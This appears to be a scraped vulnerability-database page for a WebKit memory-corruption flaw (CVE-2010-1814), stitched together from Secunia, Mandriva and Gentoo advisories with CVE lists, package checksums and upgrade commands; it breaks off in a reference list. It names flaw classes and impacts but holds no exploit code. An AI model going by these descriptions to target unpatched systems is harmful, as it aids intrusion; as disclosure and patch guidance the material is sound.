Versions prior to Apple Safari 4.1.2 and 5.0.2
Versions prior to Google Chrome 5.0.375.125
NOTE: This issue was previously discussed in BID 43070 (Apple iPhone/iPod touch Prior to iOS 4.1 Multiple Vulnerabilities) but has been given its own record to better document it. WebKit is a set of open source web browser engines jointly developed by companies such as KDE, Apple (Apple), and Google (Google), and is currently used by browsers such as Apple Safari and Google Chrome. ----------------------------------------------------------------------
Secure your corporate defenses and reduce complexity in handling vulnerability threats with the new Secunia Vulnerability Intelligence Manager (VIM).
Request a free trial:
http://secunia.com/products/corporate/vim/
----------------------------------------------------------------------
TITLE:
Apple iOS Multiple Vulnerabilities
SECUNIA ADVISORY ID:
SA42314
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/42314/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=42314
RELEASE DATE:
2010-11-24
DISCUSS ADVISORY:
http://secunia.com/advisories/42314/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/42314/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=42314
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Multiple vulnerabilities have been reported in Apple iOS, which can
be exploited by malicious people to conduct cross-site scripting and
spoofing attacks, disclose sensitive information, bypass certain
security restrictions, or to compromise a user's system.
For more information:
SA40257
SA41328
SA42151
SA42312
SOLUTION:
Upgrade to iOS 4.2 (downloadable and installable via iTunes).
ORIGINAL ADVISORY:
Apple:
http://support.apple.com/kb/HT4456
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
.
For more information:
SA32349
SA33495
SA35095
SA35379
SA35411
SA35449
SA35758
SA36269
SA36677
SA37273
SA37346
SA37769
SA38061
SA38545
SA38932
SA39029
SA39091
SA39384
SA39661
SA39937
SA40002
SA40072
SA40105
SA40112
SA40148
SA40196
SA40257
SA40664
SA40783
SA41014
SA41085
SA41242
SA41328
SA41390
SA41443
SA41535
SA41841
SA41888
SA41968
SA42151
SA42264
SA42290
SA42312
SA42443
SA42461
SA42658
SA42769
SA42886
SA42956
SA43053
SOLUTION:
Apply updated packages via YaST Online Update or the SUSE FTP server
| VAR-201009-0255 | CVE-2010-1814 | iPhone and iPod touch Run on Apple iOS of WebKit Vulnerable to arbitrary code execution |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
WebKit in Apple iOS before 4.1 on the iPhone and iPod touch, and webkitgtk before 1.2.6, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via vectors involving form menus. Webkit for iPhone and iPod touch is prone to a memory-corruption vulnerability.
An attacker can exploit this issue by tricking an unsuspecting victim into viewing a web page containing malicious content. Successfully exploiting these issues may allow attackers to crash the affected device or execute arbitrary code.
This issue affects iOS 2.0 through 4.0.2 for iPhone 3G and later and iOS 2.1 through 4.0.2 for iPod touch (2nd generation) and later.
NOTE: This issue was previously discussed in BID 43070 (Apple iPhone/iPod touch Prior to iOS 4.1 Multiple Vulnerabilities) but has been given its own record to better document it. WebKit is a set of open source web browser engines jointly developed by companies such as KDE, Apple (Apple), and Google (Google), and is currently used by browsers such as Apple Safari and Google Chrome. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
_______________________________________________________________________
Mandriva Linux Security Advisory MDVSA-2011:039
http://www.mandriva.com/security/
_______________________________________________________________________
Package : webkit
Date : March 2, 2011
Affected: 2010.1
_______________________________________________________________________
Problem Description:
Multiple cross-site scripting, denial of service and arbitrary code
execution security flaws were discovered in webkit.
Please consult the CVE web links for further information.
_______________________________________________________________________
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2797
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2841
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0046
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0047
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0048
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0049
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0050
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0051
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0052
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0053
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0054
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0314
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0647
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0650
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0651
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0656
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1386
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1387
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1389
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1390
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1391
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1392
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1393
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1394
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1395
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1396
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1397
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1398
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1400
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1401
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1402
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1403
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1404
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1405
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1406
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1407
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1408
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1409
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1410
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1412
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1414
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1415
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1416
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1417
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1418
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1419
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1421
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1422
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1501
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1664
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1665
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1758
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1759
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1760
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1761
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1762
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1764
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1766
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1767
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1770
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1771
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1772
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1773
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1774
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1780
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1781
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1782
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1783
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1784
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1785
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1786
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1787
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1788
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1790
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1791
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1792
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1793
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1812
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1814
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1815
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2264
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2647
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2648
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3113
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3114
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3115
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3116
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3119
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3248
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3255
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3257
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3259
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3812
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3813
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4040
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4197
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4198
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4204
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4206
_______________________________________________________________________
Updated Packages:
Mandriva Linux 2010.1:
141f3cd181b875d1bb40b67a507b6db1 2010.1/i586/libwebkitgtk1.0_2-1.2.7-0.1mdv2010.2.i586.rpm
054886a3c645b3ce710b9b9daec1d5f9 2010.1/i586/libwebkitgtk1.0-devel-1.2.7-0.1mdv2010.2.i586.rpm
bef556ca3f281f6ef4086292c3b658d2 2010.1/i586/webkit1.0-1.2.7-0.1mdv2010.2.i586.rpm
a1ff7ac638646aeb64e3bbdca9bc945d 2010.1/i586/webkit1.0-webinspector-1.2.7-0.1mdv2010.2.i586.rpm
3f40e3ebc62bad67097a9e102e0e79c2 2010.1/i586/webkit-1.2.7-0.1mdv2010.2.i586.rpm
50875cf1bc8718cedce1a45dc509b44b 2010.1/i586/webkit-gtklauncher-1.2.7-0.1mdv2010.2.i586.rpm
625d27780d1cc9edb935d4ac3521ae16 2010.1/i586/webkit-jsc-1.2.7-0.1mdv2010.2.i586.rpm
8d02c28d8f21a022130be4c49f9d27be 2010.1/SRPMS/webkit-1.2.7-0.1mdv2010.2.src.rpm
Mandriva Linux 2010.1/X86_64:
5ce57cd6ab823f8084030033c7c230d7 2010.1/x86_64/lib64webkitgtk1.0_2-1.2.7-0.1mdv2010.2.x86_64.rpm
690d8718a97af93f58de3bb2357fbe9b 2010.1/x86_64/lib64webkitgtk1.0-devel-1.2.7-0.1mdv2010.2.x86_64.rpm
7cc1d4aa77e1901ccc92f27faf85c9ea 2010.1/x86_64/webkit1.0-1.2.7-0.1mdv2010.2.x86_64.rpm
2b77a77159529c55f64343aba98c15d9 2010.1/x86_64/webkit1.0-webinspector-1.2.7-0.1mdv2010.2.x86_64.rpm
475cf83c5ddd8f6809c2c73a1f5a71d1 2010.1/x86_64/webkit-1.2.7-0.1mdv2010.2.x86_64.rpm
b0f1c76107c3d54241daa7e61bfb29a9 2010.1/x86_64/webkit-gtklauncher-1.2.7-0.1mdv2010.2.x86_64.rpm
97deff5e94a625a79842b4c240b0b00d 2010.1/x86_64/webkit-jsc-1.2.7-0.1mdv2010.2.x86_64.rpm
8d02c28d8f21a022130be4c49f9d27be 2010.1/SRPMS/webkit-1.2.7-0.1mdv2010.2.src.rpm
_______________________________________________________________________
To upgrade automatically use MandrivaUpdate or urpmi. The verification
of md5 checksums and GPG signatures is performed automatically for you. You can obtain the
GPG public key of the Mandriva Security Team by executing:
gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98
You can view other update advisories for Mandriva Linux at:
http://www.mandriva.com/security/advisories
If you want to report vulnerabilities, please contact
security_(at)_mandriva.com
_______________________________________________________________________
Type Bits/KeyID Date User ID
pub 1024D/22458A98 2000-07-10 Mandriva Security Team
<security*mandriva.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
iD8DBQFNbgbemqjQ0CJFipgRAs9YAJ92z2WSC2ijj34b/wr42OIYLtv65gCg7XgL
Yv/ButpYAcXsmnJWUG4ayxQ=
=GRM6
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
.
For more information:
SA40257
SA41328
SA42151
SA42312
SOLUTION:
Upgrade to iOS 4.2 (downloadable and installable via iTunes). ----------------------------------------------------------------------
Windows Applications Insecure Library Loading
The Official, Verified Secunia List:
http://secunia.com/advisories/windows_insecure_library_loading/
The list is continuously updated as we confirm the vulnerability reports so check back regularly too see if any of your apps are affected.
----------------------------------------------------------------------
TITLE:
Ubuntu update for webkit
SECUNIA ADVISORY ID:
SA41856
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/41856/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=41856
RELEASE DATE:
2010-10-21
DISCUSS ADVISORY:
http://secunia.com/advisories/41856/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/41856/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=41856
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Ubuntu has issued an update for webkit. This fixes multiple
vulnerabilities, some of which have an unknown impact while others
can be exploited by malicious people to bypass certain security
restrictions, disclose sensitive information, conduct spoofing or
cross-site scripting attacks, and potentially compromise a user's
system.
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
ORIGINAL ADVISORY:
USN-1006-1:
http://www.ubuntu.com/usn/usn-1006-1
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 201412-09
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: High
Title: Multiple packages, Multiple vulnerabilities fixed in 2011
Date: December 11, 2014
Bugs: #194151, #294253, #294256, #334087, #344059, #346897,
#350598, #352608, #354209, #355207, #356893, #358611,
#358785, #358789, #360891, #361397, #362185, #366697,
#366699, #369069, #370839, #372971, #376793, #381169,
#386321, #386361
ID: 201412-09
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
This GLSA contains notification of vulnerabilities found in several
Gentoo packages which have been fixed prior to January 1, 2012. The
worst of these vulnerabilities could lead to local privilege escalation
and remote code execution. Please see the package list and CVE
identifiers below for more information.
Background
==========
For more information on the packages listed in this GLSA, please see
their homepage referenced in the ebuild.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 games-sports/racer-bin >= 0.5.0-r1 Vulnerable!
2 media-libs/fmod < 4.38.00 >= 4.38.00
3 dev-php/PEAR-Mail < 1.2.0 >= 1.2.0
4 sys-fs/lvm2 < 2.02.72 >= 2.02.72
5 app-office/gnucash < 2.4.4 >= 2.4.4
6 media-libs/xine-lib < 1.1.19 >= 1.1.19
7 media-sound/lastfmplayer
< 1.5.4.26862-r3 >= 1.5.4.26862-r3
8 net-libs/webkit-gtk < 1.2.7 >= 1.2.7
9 sys-apps/shadow < 4.1.4.3 >= 4.1.4.3
10 dev-php/PEAR-PEAR < 1.9.2-r1 >= 1.9.2-r1
11 dev-db/unixODBC < 2.3.0-r1 >= 2.3.0-r1
12 sys-cluster/resource-agents
< 1.0.4-r1 >= 1.0.4-r1
13 net-misc/mrouted < 3.9.5 >= 3.9.5
14 net-misc/rsync < 3.0.8 >= 3.0.8
15 dev-libs/xmlsec < 1.2.17 >= 1.2.17
16 x11-apps/xrdb < 1.0.9 >= 1.0.9
17 net-misc/vino < 2.32.2 >= 2.32.2
18 dev-util/oprofile < 0.9.6-r1 >= 0.9.6-r1
19 app-admin/syslog-ng < 3.2.4 >= 3.2.4
20 net-analyzer/sflowtool < 3.20 >= 3.20
21 gnome-base/gdm < 3.8.4-r3 >= 3.8.4-r3
22 net-libs/libsoup < 2.34.3 >= 2.34.3
23 app-misc/ca-certificates
< 20110502-r1 >= 20110502-r1
24 dev-vcs/gitolite < 1.5.9.1 >= 1.5.9.1
25 dev-util/qt-creator < 2.1.0 >= 2.1.0
-------------------------------------------------------------------
NOTE: Certain packages are still vulnerable. Users should migrate
to another package if one is available or wait for the
existing packages to be marked stable by their
architecture maintainers.
-------------------------------------------------------------------
25 affected packages
Description
===========
Vulnerabilities have been discovered in the packages listed below.
Please review the CVE identifiers in the Reference section for details.
* FMOD Studio
* PEAR Mail
* LVM2
* GnuCash
* xine-lib
* Last.fm Scrobbler
* WebKitGTK+
* shadow tool suite
* PEAR
* unixODBC
* Resource Agents
* mrouted
* rsync
* XML Security Library
* xrdb
* Vino
* OProfile
* syslog-ng
* sFlow Toolkit
* GNOME Display Manager
* libsoup
* CA Certificates
* Gitolite
* QtCreator
* Racer
Impact
======
A context-dependent attacker may be able to gain escalated privileges,
execute arbitrary code, cause Denial of Service, obtain sensitive
information, or otherwise bypass security restrictions.
Workaround
==========
There are no known workarounds at this time.
Resolution
==========
All FMOD Studio users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=media-libs/fmod-4.38.00"
All PEAR Mail users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-php/PEAR-Mail-1.2.0"
All LVM2 users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=sys-fs/lvm2-2.02.72"
All GnuCash users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=app-office/gnucash-2.4.4"
All xine-lib users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=media-libs/xine-lib-1.1.19"
All Last.fm Scrobbler users should upgrade to the latest version:
# emerge --sync
# emerge -a --oneshot -v ">=media-sound/lastfmplayer-1.5.4.26862-r3"
All WebKitGTK+ users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-libs/webkit-gtk-1.2.7"
All shadow tool suite users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=sys-apps/shadow-4.1.4.3"
All PEAR users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-php/PEAR-PEAR-1.9.2-r1"
All unixODBC users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-db/unixODBC-2.3.0-r1"
All Resource Agents users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=sys-cluster/resource-agents-1.0.4-r1"
All mrouted users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/mrouted-3.9.5"
All rsync users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/rsync-3.0.8"
All XML Security Library users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-libs/xmlsec-1.2.17"
All xrdb users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=x11-apps/xrdb-1.0.9"
All Vino users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/vino-2.32.2"
All OProfile users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-util/oprofile-0.9.6-r1"
All syslog-ng users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=app-admin/syslog-ng-3.2.4"
All sFlow Toolkit users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-analyzer/sflowtool-3.20"
All GNOME Display Manager users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=gnome-base/gdm-3.8.4-r3"
All libsoup users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-libs/libsoup-2.34.3"
All CA Certificates users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=app-misc/ca-certificates-20110502-r1"
All Gitolite users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-vcs/gitolite-1.5.9.1"
All QtCreator users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-util/qt-creator-2.1.0"
Gentoo has discontinued support for Racer. We recommend that users
unmerge Racer:
# emerge --unmerge "games-sports/racer-bin"
NOTE: This is a legacy GLSA. Updates for all affected architectures
have been available since 2012. It is likely that your system is
already no longer affected by these issues.
References
==========
[ 1 ] CVE-2007-4370
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-4370
[ 2 ] CVE-2009-4023
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2009-4023
[ 3 ] CVE-2009-4111
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2009-4111
[ 4 ] CVE-2010-0778
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-0778
[ 5 ] CVE-2010-1780
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1780
[ 6 ] CVE-2010-1782
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1782
[ 7 ] CVE-2010-1783
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1783
[ 8 ] CVE-2010-1784
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1784
[ 9 ] CVE-2010-1785
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1785
[ 10 ] CVE-2010-1786
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1786
[ 11 ] CVE-2010-1787
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1787
[ 12 ] CVE-2010-1788
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1788
[ 13 ] CVE-2010-1790
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1790
[ 14 ] CVE-2010-1791
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1791
[ 15 ] CVE-2010-1792
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1792
[ 16 ] CVE-2010-1793
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1793
[ 17 ] CVE-2010-1807
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1807
[ 18 ] CVE-2010-1812
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1812
[ 19 ] CVE-2010-1814
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1814
[ 20 ] CVE-2010-1815
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1815
[ 21 ] CVE-2010-2526
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-2526
[ 22 ] CVE-2010-2901
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-2901
[ 23 ] CVE-2010-3255
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3255
[ 24 ] CVE-2010-3257
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3257
[ 25 ] CVE-2010-3259
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3259
[ 26 ] CVE-2010-3362
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3362
[ 27 ] CVE-2010-3374
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3374
[ 28 ] CVE-2010-3389
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3389
[ 29 ] CVE-2010-3812
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3812
[ 30 ] CVE-2010-3813
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3813
[ 31 ] CVE-2010-3999
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3999
[ 32 ] CVE-2010-4042
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4042
[ 33 ] CVE-2010-4197
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4197
[ 34 ] CVE-2010-4198
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4198
[ 35 ] CVE-2010-4204
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4204
[ 36 ] CVE-2010-4206
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4206
[ 37 ] CVE-2010-4492
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4492
[ 38 ] CVE-2010-4493
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4493
[ 39 ] CVE-2010-4577
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4577
[ 40 ] CVE-2010-4578
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4578
[ 41 ] CVE-2011-0007
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0007
[ 42 ] CVE-2011-0465
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0465
[ 43 ] CVE-2011-0482
